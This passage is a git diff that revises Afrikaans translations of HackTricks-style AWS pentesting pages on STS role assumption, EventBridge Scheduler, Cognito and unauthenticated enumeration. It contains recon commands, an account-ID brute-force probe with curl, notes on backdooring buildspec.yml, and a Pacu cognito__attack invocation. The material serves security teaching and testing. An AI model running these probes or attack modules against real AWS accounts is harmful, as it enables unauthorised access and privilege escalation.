Byvoorbeeld, as jou toestandmasjien AWS Lambda funksies moet aanroep, moet die IAM rol **`lambda:InvokeFunction`** toestemmings hê. Net so, as dit na DynamoDB moet skryf, moet toepaslike toestemmings (**`dynamodb:PutItem`**, **`dynamodb:UpdateItem`**, ens.) toegestaan word. ## Enumeration diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md index 675d52d11..96616cd3e 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md @@ -4,19 +4,19 @@ ## STS -**AWS Security Token Service (STS)** is hoofsaaklik ontwerp om **tydelike, beperkte bevoegdheid akkrediteerbare** te verskaf. Hierdie akkrediteerbare kan aangevra word vir **AWS Identity and Access Management (IAM)** gebruikers of vir geverifieerde gebruikers (gefedereerde gebruikers). +**AWS Security Token Service (STS)** is hoofsaaklik ontwerp om **tydelike, beperkte bevoegdheid akkrediteerbare** uit te reik. Hierdie akkrediteerbare kan aangevra word vir **AWS Identity and Access Management (IAM)** gebruikers of vir geverifieerde gebruikers (federated users). -Aangesien STS se doel is om **akkrediteerbare vir identiteit se vervalsing** uit te reik, is die diens uiters waardevol vir **bevoegdheidstoename en volgehoue volharding**, selfs al het dit dalk nie 'n wye verskeidenheid opsies nie. +Aangesien STS se doel is om **akkrediteerbare vir identiteit na te volg**, is die diens uiters waardevol vir **bevoegdheidstoename en volgehoue teenwoordigheid**, selfs al het dit dalk nie 'n wye verskeidenheid opsies nie. ### Assume Role Impersonation -Die aksie [AssumeRole](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html) wat deur AWS STS verskaf word, is van kardinale belang aangesien dit 'n hoofrol toelaat om akkrediteerbare vir 'n ander hoofrol te verkry, wat hulle essensieel vervals. By aanroep, antwoord dit met 'n toegang sleutel ID, 'n geheime sleutel, en 'n sessie token wat ooreenstem met die gespesifiseerde ARN. +Die aksie [AssumeRole](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html) wat deur AWS STS verskaf word, is van kardinale belang aangesien dit 'n hoofrol toelaat om akkrediteerbare vir 'n ander hoofrol te verkry, wat hulle in wese na te volg. By aanroep, antwoord dit met 'n toegang sleutel ID, 'n geheime sleutel, en 'n sessie token wat ooreenstem met die gespesifiseerde ARN. Vir Penetration Testers of Red Team lede, is hierdie tegniek instrumenteel vir bevoegdheidstoename (soos uitgebreider [**hier**](../aws-privilege-escalation/aws-sts-privesc.md#sts-assumerole)). Dit is egter die moeite werd om te noem dat hierdie tegniek redelik opvallend is en mag nie 'n aanvaller onbewus vang nie. #### Assume Role Logic -Om 'n rol in dieselfde rekening aan te neem, as die **rol om aan te neem spesifiek 'n rol ARN toelaat** soos in: +Om 'n rol in dieselfde rekening aan te neem as die **rol om aan te neem spesifiek 'n rol ARN toelaat** soos in: ```json { "Version": "2012-10-17", @@ -34,7 +34,7 @@ Om 'n rol in dieselfde rekening aan te neem, as die **rol om aan te neem spesifi ``` Die rol **`priv-role`** in hierdie geval, **hoef nie spesifiek toegelaat te word** om daardie rol aan te neem (met daardie toelae is genoeg). -Maar, as 'n rol 'n rekening toelaat om dit aan te neem, soos in: +As 'n rol egter 'n rekening toelaat om dit aan te neem, soos in: ```json { "Version": "2012-10-17", @@ -52,9 +52,9 @@ Maar, as 'n rol 'n rekening toelaat om dit aan te neem, soos in: ``` Die rol wat probeer om aan te neem, sal 'n **spesifieke `sts:AssumeRole` toestemming** oor daardie rol **nodig hê om dit aan te neem**. -As jy probeer om 'n **rol** **van 'n ander rekening** aan te neem, moet die **aangenome rol dit toelaat** (wat die rol **ARN** of die **eksterne rekening** aandui), en die **rol wat probeer om die ander een aan te neem** **MOET** **toestemmings hê om dit aan te neem** (in hierdie geval is dit nie opsioneel nie, selfs al spesifiseer die aangeneemde rol 'n ARN). +As jy probeer om 'n **rol** **van 'n ander rekening** aan te neem, moet die **aangenome rol dit toelaat** (wat die rol **ARN** of die **eksterne rekening** aandui), en die **rol wat probeer om die ander een aan te neem** **MOET** toestemming hê om dit **aan te neem** (in hierdie geval is dit nie opsioneel nie, selfs al spesifiseer die aangename rol 'n ARN). -### Enumeration +### Enumerasie ```bash # Get basic info of the creds aws sts get-caller-identity diff --git a/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md b/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md index daf55551a..d8cca7f0c 100644 --- a/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md @@ -6,28 +6,28 @@ ## EventBridge Scheduler -**Amazon EventBridge Scheduler** is 'n volledig bestuurde, **serverless scheduler wat ontwerp is om take te skep, te loop, en te bestuur** op skaal. Dit stel jou in staat om miljoene take oor meer as 270 AWS-dienste en 6,000+ API-operasies te skeduleer, alles vanuit 'n sentrale diens. Met ingeboude betroubaarheid en geen infrastruktuur om te bestuur nie, vereenvoudig EventBridge Scheduler skedulering, verminder onderhoudskoste, en skaal outomaties om aan die vraag te voldoen. Jy kan cron of tariefuitdrukkings konfigureer vir herhalende skedules, eenmalige aanroepings stel, en buigsame afleweringsvensters met herhalingsopsies definieer, wat verseker dat take betroubaar afgelewer word gebaseer op die beskikbaarheid van afwaartse teikens. +**Amazon EventBridge Scheduler** is 'n volledig bestuurde, **serverless scheduler wat ontwerp is om take te skep, te loop en te bestuur** op skaal. Dit stel jou in staat om miljoene take oor meer as 270 AWS-dienste en 6,000+ API-operasies te skeduleer, alles vanuit 'n sentrale diens. Met ingeboude betroubaarheid en geen infrastruktuur om te bestuur nie, vereenvoudig EventBridge Scheduler skedulering, verminder onderhoudskoste, en skaal outomaties om aan vraag te voldoen. Jy kan cron of tariefuitdrukkings konfigureer vir herhalende skedules, eenmalige aanroepings instel, en buigsame afleweringsvensters met herhalingsopsies definieer, wat verseker dat take betroubaar afgelewer word gebaseer op die beskikbaarheid van downstream-teikens. Daar is 'n aanvanklike limiet van 1,000,000 skedules per streek per rekening. Selfs die amptelike kwotas bladsy stel voor, "Dit word aanbeveel om eenmalige skedules te verwyder sodra hulle voltooi is." -### Tipes Skedules +### Types of Schedules -Tipes Skedules in EventBridge Scheduler: +Tipes van Skedules in EventBridge Scheduler: -1. **Eenmalige skedules** – Voer 'n taak uit op 'n spesifieke tyd, bv. 21 Desember om 7 VM UTC. -2. **Tarief-gebaseerde skedules** – Stel herhalende take in op 'n frekwensie, bv. elke 2 uur. -3. **Cron-gebaseerde skedules** – Stel herhalende take in met 'n cron-uitdrukking, bv. elke Vrydag om 4 NM. +1. **Eenmalige skedules** – Voer 'n taak uit op 'n spesifieke tyd, bv. 21 Desember om 7 AM UTC. +2. **Tariefgebaseerde skedules** – Stel herhalende take in op grond van 'n frekwensie, bv. elke 2 uur. +3. **Cron-gebaseerde skedules** – Stel herhalende take in met 'n cron-uitdrukking, bv. elke Vrydag om 4 PM. Twee Meganismes vir die Hantering van Mislukte Gebeure: 1. **Herhalingsbeleid** – Definieer die aantal herhalingspogings vir 'n mislukte gebeurtenis en hoe lank om dit onverwerk te hou voordat dit as 'n mislukking beskou word. -2. **Doodbriefmandjie (DLQ)** – 'n Standaard Amazon SQS-mandjie waar mislukte gebeurtenisse afgelewer word nadat herhalings uitgeput is. DLQ's help om probleme met jou skedule of sy afwaartse teiken op te los. +2. **Doodbriefmandjie (DLQ)** – 'n Standaard Amazon SQS-mandjie waar mislukte gebeurtenisse afgelewer word nadat herhalings uitgeput is. DLQ's help om probleme met jou skedule of sy downstream-teiken op te los. -### Teikens +### Targets Daar is 2 tipes teikens vir 'n scheduler [**templatet (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html), wat algemeen gebruik word en AWS het dit makliker gemaak om te konfigureer, en [**universel (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html), wat gebruik kan word om enige AWS API aan te roep. -**Templated teikens** ondersteun die volgende dienste: +**Templated targets** ondersteun die volgende dienste: - CodeBuild – StartBuild - CodePipeline – StartPipelineExecution @@ -47,7 +47,7 @@ Daar is 2 tipes teikens vir 'n scheduler [**templatet (docs)**](https://docs.aws - Parameters: SqsParameters - Step Functions – StartExecution -### Enumerasie +### Enumeration ```bash # List all EventBridge Scheduler schedules aws scheduler list-schedules @@ -66,7 +66,7 @@ aws scheduler list-tags-for-resource --resource-arn ``` ### Privesc -In die volgende bladsy kan jy kyk hoe om **eventbridge scheduler toestemmings te misbruik om voorregte te verhoog**: +In die volgende bladsy kan jy kyk hoe om **eventbridge scheduler toestemming te misbruik om voorregte te verhoog**: {{#ref}} ../aws-privilege-escalation/eventbridgescheduler-privesc.md diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md index b086ce9cf..00384ebb3 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md @@ -4,8 +4,8 @@ ## AWS Kredensiaal Lekke -'n Algemene manier om toegang of inligting oor 'n AWS-rekening te verkry, is deur **lekke te soek**. Jy kan lekke soek deur **google dorks**, die **openbare repos** van die **organisasie** en die **werkers** van die organisasie in **Github** of ander platforms te kontroleer, in **kredensiaal lekke databasisse** te soek... of in enige ander deel waar jy dink jy dalk inligting oor die maatskappy en sy wolk infrastruktuur kan vind.\ -Sommige nuttige **gereedskap**: +'n Algemene manier om toegang of inligting oor 'n AWS-rekening te verkry, is deur **lekke te soek**. Jy kan lekke soek deur **google dorks**, die **openbare repos** van die **organisasie** en die **werkers** van die organisasie in **Github** of ander platforms te kontroleer, in **kredensiaal lekdatabasisse** te soek... of in enige ander plek waar jy dalk inligting oor die maatskappy en sy wolkinfrastruktuur kan vind.\ +Sommige nuttige **hulpmiddels**: - [https://github.com/carlospolop/leakos](https://github.com/carlospolop/leakos) - [https://github.com/carlospolop/pastos](https://github.com/carlospolop/pastos) @@ -36,7 +36,7 @@ Daar is verskeie dienste in AWS wat geconfigureer kan word om 'n soort toegang a ## Kruisrekening Aanvalle -In die praatjie [**Breek die Isolasie: Kruisrekening AWS Kw vulnerabilities**](https://www.youtube.com/watch?v=JfEFIcpJ2wk) word aangebied hoe sommige dienste enige AWS-rekening toegelaat het om toegang tot hulle te verkry omdat **AWS dienste sonder om rekening ID's te spesifiseer** toegelaat is. +In die praatjie [**Breaking the Isolation: Cross-Account AWS Vulnerabilities**](https://www.youtube.com/watch?v=JfEFIcpJ2wk) word voorgestel hoe sommige dienste enige AWS-rekening toegelaat het om toegang te verkry omdat **AWS dienste sonder om rekening-ID's te spesifiseer** toegelaat is. Tydens die praatjie spesifiseer hulle verskeie voorbeelde, soos S3-buckets wat **cloudtrail** (van **enige AWS** rekening) toelaat om **na hulle te skryf**: @@ -47,8 +47,8 @@ Ander dienste wat kwesbaar gevind is: - AWS Config - Serverless repository -## Gereedskap +## Hulpmiddels -- [**cloud_enum**](https://github.com/initstring/cloud_enum): Multi-cloud OSINT gereedskap. **Vind openbare hulpbronne** in AWS, Azure, en Google Cloud. Ondersteunde AWS dienste: Open / Beskermde S3 Buckets, awsapps (WorkMail, WorkDocs, Connect, ens.) +- [**cloud_enum**](https://github.com/initstring/cloud_enum): Multi-cloud OSINT hulpmiddel. **Vind openbare hulpbronne** in AWS, Azure, en Google Cloud. Ondersteunde AWS dienste: Open / Beskermde S3 Buckets, awsapps (WorkMail, WorkDocs, Connect, ens.) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md index 138a572cb..f317a8c06 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md @@ -1,14 +1,14 @@ -# AWS - Accounts Unauthenticated Enum +# AWS - Rekeninge Ongeauthentiseerde Enum {{#include ../../../banners/hacktricks-training.md}} -## Account IDs +## Rekening ID's -As jy 'n teiken het, is daar maniere om te probeer om rekening-ID's van rekeninge wat met die teiken verband hou, te identifiseer. +As jy 'n teiken het, is daar maniere om te probeer om rekening ID's van rekeninge wat met die teiken verband hou, te identifiseer. ### Brute-Force -Jy skep 'n lys van potensiële rekening-ID's en aliase en kontroleer hulle. +Jy skep 'n lys van potensiële rekening ID's en aliase en kontroleer hulle. ```bash # Check if an account ID exists curl -v https://.signin.aws.amazon.com @@ -16,15 +16,15 @@ curl -v https://.signin.aws.amazon.com ## It also works from account aliases curl -v https://vodafone-uk2.signin.aws.amazon.com ``` -You can [automate this process with this tool](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py). +U kan [hierdie proses outomatiseer met hierdie hulpmiddel](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py). ### OSINT -Soek na urls wat `.signin.aws.amazon.com` bevat met 'n **alias wat verband hou met die organisasie**. +Soek vir urls wat `.signin.aws.amazon.com` bevat met 'n **alias wat verband hou met die organisasie**. ### Marketplace -As 'n verkoper **instansies in die marketplace het,** kan jy die eienaar id (rekening id) van die AWS rekening wat hy gebruik het, kry. +As 'n verskaffer **instansies in die marketplace het,** kan u die eienaar id (rekening id) van die AWS rekening wat hy gebruik het, kry. ### Snapshots diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md index a854719a8..d98ad9ca4 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md @@ -4,7 +4,7 @@ ### API Aanroep omseiling -Volgens die praatjie [Aanval Vektore vir API's wat AWS API Gateway Lambda Authorizers Gebruik - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE), kan Lambda Authorizers geconfigureer word **met IAM-sintaksis** om toestemmings te gee om API-eindpunte aan te roep. Dit is geneem [**uit die dokumentasie**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html): +Volgens die praatjie [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE), kan Lambda Authorizers geconfigureer word **met IAM-sintaksis** om toestemmings te gee om API-eindpunte aan te roep. Dit is geneem [**uit die dokumentasie**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html): ```json { "Version": "2012-10-17", @@ -26,17 +26,17 @@ Sommige voorbeelde: - 'n Reël soos `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*` om elke gebruiker toegang te gee tot `/dashboard/user/{username}` sal hulle toegang gee tot ander roetes soos `/admin/dashboard/createAdmin` byvoorbeeld. > [!WARNING] -> Let daarop dat **"\*" nie stop om uit te brei met skewe streepies nie**, daarom, as jy "\*" in api-id gebruik byvoorbeeld, kan dit ook "enige fase" of "enige metode" aandui solank die finale regex steeds geldig is.\ +> Let daarop dat **"\*" nie stop om uit te brei met skewe strepies nie**, daarom, as jy "\*" in api-id gebruik byvoorbeeld, kan dit ook "enige fase" of "enige metode" aandui solank die finale regex steeds geldig is.\ > So `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\ > Kan 'n posversoek valideer om die toetsfase na die pad `/prod/GET/dashboard/admin` byvoorbeeld. -Jy moet altyd duidelik hê wat jy wil toelaat om toegang te hê en dan kyk of ander scenario's moontlik is met die toestemmings wat gegee is. +Jy moet altyd duidelik hê wat jy wil toelaat om toegang te verkry en dan nagaan of ander scenario's moontlik is met die toestemmings wat gegee is. -Vir meer inligting, behalwe die [**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html), kan jy kode vind om outeurs te implementeer in [**hierdie amptelike aws github**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints). +Vir meer inligting, behalwe die [**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html), kan jy kode vind om outeurs te implementeer in [**this official aws github**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints). ### IAM Beleid Inspuiting -In dieselfde [**praatjie** ](https://www.youtube.com/watch?v=bsPKk7WDOnE) word die feit blootgestel dat as die kode **gebruikersinvoer** gebruik om die **IAM-beleide** te **genereer**, wildcard (en ander soos "." of spesifieke strings) daarin ingesluit kan word met die doel om **beperkings te omseil**. +In dieselfde [**talk** ](https://www.youtube.com/watch?v=bsPKk7WDOnE) word die feit blootgestel dat as die kode **gebruikersinvoer** gebruik om die **IAM-beleide** te genereer, wildcard (en ander soos "." of spesifieke strings) daarin ingesluit kan word met die doel om **beperkings te omseil**. ### Publieke URL-sjabloon ``` @@ -44,8 +44,8 @@ https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided} ``` ### Kry rekening ID van openbare API Gateway URL -Net soos met S3-buckets, Data Exchange en Lambda URL-gateways, is dit moontlik om die rekening ID van 'n rekening te vind deur die **`aws:ResourceAccount`** **Beleidstoestand Sleutel** van 'n openbare API Gateway URL te misbruik. Dit word gedoen deur die rekening ID een karakter op 'n slag te vind deur wildcard-teken in die **`aws:ResourceAccount`** afdeling van die beleid te misbruik.\ -Hierdie tegniek laat ook toe om **waardes van etikette** te verkry as jy die etiket sleutel ken (daar is 'n paar standaard interessante). +Net soos met S3-buckets, Data Exchange en Lambda URL's gateways, is dit moontlik om die rekening ID van 'n rekening te vind deur die **`aws:ResourceAccount`** **Beleidstoestand Sleutel** van 'n openbare API Gateway URL te misbruik. Dit word gedoen deur die rekening ID een karakter op 'n slag te vind deur wildcard te misbruik in die **`aws:ResourceAccount`** afdeling van die beleid.\ +Hierdie tegniek laat ook toe om **waardes van etikette** te kry as jy die etiket sleutel ken (daar is 'n paar standaard interessante). Jy kan meer inligting vind in die [**oorspronklike navorsing**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) en die hulpmiddel [**conditional-love**](https://github.com/plerionhq/conditional-love/) om hierdie uitbuiting te outomatiseer. diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md index 64c03bec5..07beb0d97 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md @@ -1,8 +1,8 @@ -# AWS - Cloudfront Unauthenticated Enum +# AWS - Cloudfront Ongeauthentiseerde Enum {{#include ../../../banners/hacktricks-training.md}} -### Publieke URL-sjabloon +### Publieke URL sjabloon ``` https://{random_id}.cloudfront.net ``` diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md index 17cbc0d84..92f124ea2 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md @@ -1,4 +1,4 @@ -# AWS - CodeBuild Ongeverifieerde Toegang +# AWS - CodeBuild Ongeauthentiseerde Toegang {{#include ../../../banners/hacktricks-training.md}} @@ -12,11 +12,11 @@ Vir meer inligting, kyk na hierdie bladsy: ### buildspec.yml -As jy skrywe toegang oor 'n repository wat 'n lêer genaamd **`buildspec.yml`** bevat, kan jy hierdie lêer **backdoor**, wat die **opdragte spesifiseer wat binne 'n CodeBuild projek uitgevoer gaan word** en die geheime ontgin, wat gedoen word, en ook die **CodeBuild IAM rol geloofsbriewe** kompromenteer. +As jy skrywe toegang oor 'n repository wat 'n lêer genaamd **`buildspec.yml`** bevat, kan jy hierdie lêer **backdoor**, wat die **opdragte spesifiseer wat binne 'n CodeBuild projek uitgevoer gaan word** en die geheime uit te haal, wat gedoen word te kompromitteer en ook die **CodeBuild IAM rol geloofsbriewe** te kompromitteer. -Let daarop dat selfs al is daar geen **`buildspec.yml`** lêer nie, maar jy weet Codebuild word gebruik (of 'n ander CI/CD), kan **modifisering van 'n paar wettige kode** wat uitgevoer gaan word, jou ook 'n omgekeerde shell gee byvoorbeeld. +Let daarop dat selfs al is daar geen **`buildspec.yml`** lêer nie, maar jy weet Codebuild word gebruik (of 'n ander CI/CD), kan **modifisering van 'n legitieme kode** wat uitgevoer gaan word, jou ook 'n omgekeerde shell gee byvoorbeeld. -Vir sommige verwante inligting kan jy die bladsy oor hoe om Github Actions aan te val (soortgelyk aan hierdie) kyk: +Vir sommige verwante inligting kan jy die bladsy oor hoe om Github Actions aan te val (soos hierdie) kyk: {{#ref}} ../../../pentesting-ci-cd/github-security/abusing-github-actions/ @@ -24,10 +24,10 @@ Vir sommige verwante inligting kan jy die bladsy oor hoe om Github Actions aan t ## Self-gehoste GitHub Actions runners in AWS CodeBuild -Soos [**aangegee in die dokumentasie**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), is dit moontlik om **CodeBuild** te konfigureer om **self-gehoste Github aksies** te laat loop wanneer 'n werksvloei binne 'n Github repo geconfigureer word, geaktiveer word. Dit kan opgespoor word deur die CodeBuild projekkonfigurasie te kontroleer omdat die **`Event type`** moet bevat: **`WORKFLOW_JOB_QUEUED`** en in 'n Github Werksvloei omdat dit 'n **self-gehoste** runner soos hierdie sal kies: +Soos [**aangegee in die dokumentasie**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), is dit moontlik om **CodeBuild** te konfigureer om **self-gehoste Github aksies** te laat loop wanneer 'n werksvloei binne 'n geconfigureerde Github repo geaktiveer word. Dit kan opgespoor word deur die CodeBuild projekkonfigurasie te kontroleer omdat die **`Event type`** moet bevat: **`WORKFLOW_JOB_QUEUED`** en in 'n Github Werksvloei omdat dit 'n **self-gehoste** runner soos hierdie sal kies: ```bash runs-on: codebuild--${{ github.run_id }}-${{ github.run_attempt }} ``` -Hierdie nuwe verhouding tussen Github Actions en AWS skep 'n ander manier om AWS vanaf Github te kompromitteer, aangesien die kode in Github in 'n CodeBuild-projek met 'n IAM-rol aangeheg sal wees. +Hierdie nuwe verhouding tussen Github Actions en AWS skep 'n ander manier om AWS vanaf Github te kompromitteer, aangesien die kode in Github in 'n CodeBuild-projek met 'n IAM-rol aangeheg sal wees. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md index 1a10d32bd..e39dced00 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md @@ -1,10 +1,10 @@ -# AWS - Cognito Unauthenticated Enum +# AWS - Cognito Ongeauthentiseerde Enum {{#include ../../../banners/hacktricks-training.md}} -## Unauthenticated Cognito +## Ongeauthentiseerde Cognito -Cognito is 'n AWS-diens wat ontwikkelaars in staat stel om **hul app-gebruikers toegang tot AWS-dienste** te **gee**. Ontwikkelaars sal **IAM-rolle aan geverifieerde gebruikers** in hul app toeken, en hulle kan ook 'n **IAM-rol aan nie-geverifieerde gebruikers** toeken. +Cognito is 'n AWS-diens wat ontwikkelaars in staat stel om **hul app-gebruikers toegang tot AWS-dienste te gee**. Ontwikkelaars sal **IAM-rolle aan geverifieerde gebruikers** in hul app toeken (potensieel kan mense net aanmeld) en hulle kan ook 'n **IAM-rol aan ongeauthentiseerde gebruikers** toeken. Vir basiese inligting oor Cognito, kyk: @@ -12,32 +12,32 @@ Vir basiese inligting oor Cognito, kyk: ../aws-services/aws-cognito-enum/ {{#endref}} -### Identity Pool ID +### Identiteit Pool ID -Identiteitspoele kan **IAM-rolle aan nie-geverifieerde gebruikers** toeken wat net **die Identiteitspoel-ID** ken (wat redelik algemeen is om te **vind**), en 'n aanvaller met hierdie inligting kan probeer om **toegang tot daardie IAM-rol** te verkry en dit te misbruik.\ -Boonop kan IAM-rolle ook toegeken word aan **geverifieerde gebruikers** wat toegang tot die Identiteitspoel het. As 'n aanvaller **'n gebruiker kan registreer** of reeds **toegang tot die identiteitsverskaffer** het wat in die identiteitspoel gebruik word, kan jy toegang verkry tot die **IAM-rol wat aan geverifieerde** gebruikers gegee word en sy voorregte misbruik. +Identiteit Pools kan **IAM-rolle aan ongeauthentiseerde gebruikers** toeken wat net **die Identiteit Pool ID** ken (wat redelik algemeen is om te **vind**), en 'n aanvaller met hierdie inligting kan probeer om **toegang tot daardie IAM-rol** te verkry en dit te misbruik.\ +Boonop kan IAM-rolle ook toegeken word aan **geauthentiseerde gebruikers** wat toegang tot die Identiteit Pool het. As 'n aanvaller **'n gebruiker kan registreer** of reeds **toegang tot die identiteitsverskaffer** het wat in die identiteits pool gebruik word, kan jy toegang verkry tot die **IAM-rol wat aan geauthentiseerde** gebruikers gegee word en sy voorregte misbruik. [**Kyk hoe om dit hier te doen**](../aws-services/aws-cognito-enum/cognito-identity-pools.md). -### User Pool ID +### Gebruiker Pool ID -Standaard laat Cognito toe om **nuwe gebruikers te registreer**. Om 'n gebruiker te kan registreer, kan jou **toegang** gee tot die **onderliggende toepassing** of tot die **geverifieerde IAM-toegang rol van 'n Identiteitspoel** wat die Cognito-gebruikerspoel as identiteitsverskaffer aanvaar. [**Kyk hoe om dit hier te doen**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration). +Standaard laat Cognito toe om **nuwe gebruikers te registreer**. In staat wees om 'n gebruiker te registreer, kan jou **toegang** gee tot die **onderliggende toepassing** of tot die **geauthentiseerde IAM-toegang rol van 'n Identiteit Pool** wat die Cognito Gebruiker Pool as identiteitsverskaffer aanvaar. [**Kyk hoe om dit hier te doen**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration). -### Pacu modules for pentesting and enumeration +### Pacu modules vir pentesting en enumerasie -[Pacu](https://github.com/RhinoSecurityLabs/pacu), die AWS-uitbuitingsraamwerk, sluit nou die "cognito\_\_enum" en "cognito\_\_attack" modules in wat die enumerasie van alle Cognito-bates in 'n rekening outomatiseer en swak konfigurasies, gebruikersattributen wat vir toegangbeheer gebruik word, ens., merk, en ook die skepping van gebruikers outomatiseer (insluitend MFA-ondersteuning) en voorregte-eskalasie gebaseer op aanpasbare aangepaste attributen, bruikbare identiteitspoelakkredite, aanneembare rolle in id tokens, ens. +[Pacu](https://github.com/RhinoSecurityLabs/pacu), die AWS-uitbuitingsraamwerk, sluit nou die "cognito\_\_enum" en "cognito\_\_attack" modules in wat die enumerasie van alle Cognito-bates in 'n rekening outomatiseer en swak konfigurasies, gebruikersattributen wat vir toegangbeheer gebruik word, ens., merk, en ook die skepping van gebruikers outomatiseer (insluitend MFA-ondersteuning) en voorregte-eskalasie gebaseer op aanpasbare aangepaste attributen, bruikbare identiteits pool akkrediteer, aanneembare rolle in id tokens, ens. Vir 'n beskrywing van die modules se funksies, sien deel 2 van die [blogpos](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Vir installasie-instruksies, sien die hoof [Pacu](https://github.com/RhinoSecurityLabs/pacu) bladsy. -#### Usage +#### Gebruik -Voorbeeld `cognito__attack` gebruik om te probeer om gebruikers te skep en alle privesc-vectors teen 'n gegewe identiteitspoel en gebruikerspoelklient: +Voorbeeld `cognito__attack` gebruik om te probeer om gebruiker te skep en alle privesc vektore teen 'n gegewe identiteits pool en gebruiker pool kliënt: ```bash Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` -Voorbeeld cognito\_\_enum gebruik om al die gebruikerspoele, gebruikerspoel kliënte, identiteitspoele, gebruikers, ens. wat sigbaar is in die huidige AWS-rekening, te versamel: +Voorbeeld cognito\_\_enum gebruik om al die gebruikerspoele, gebruikerspoel kliënte, identiteitspoele, gebruikers, ens. wat sigbaar is in die huidige AWS-rekening te versamel: ```bash Pacu (new:test) > run cognito__enum ``` diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md index e79484982..b3f104222 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md @@ -1,8 +1,8 @@ -# AWS - DocumentDB Unauthenticated Enum +# AWS - DocumentDB Ongeauthentiseerde Enum {{#include ../../../banners/hacktricks-training.md}} -### Publieke URL-sjabloon +### Publieke URL sjabloon ``` .cluster-..docdb.amazonaws.com ``` diff --git 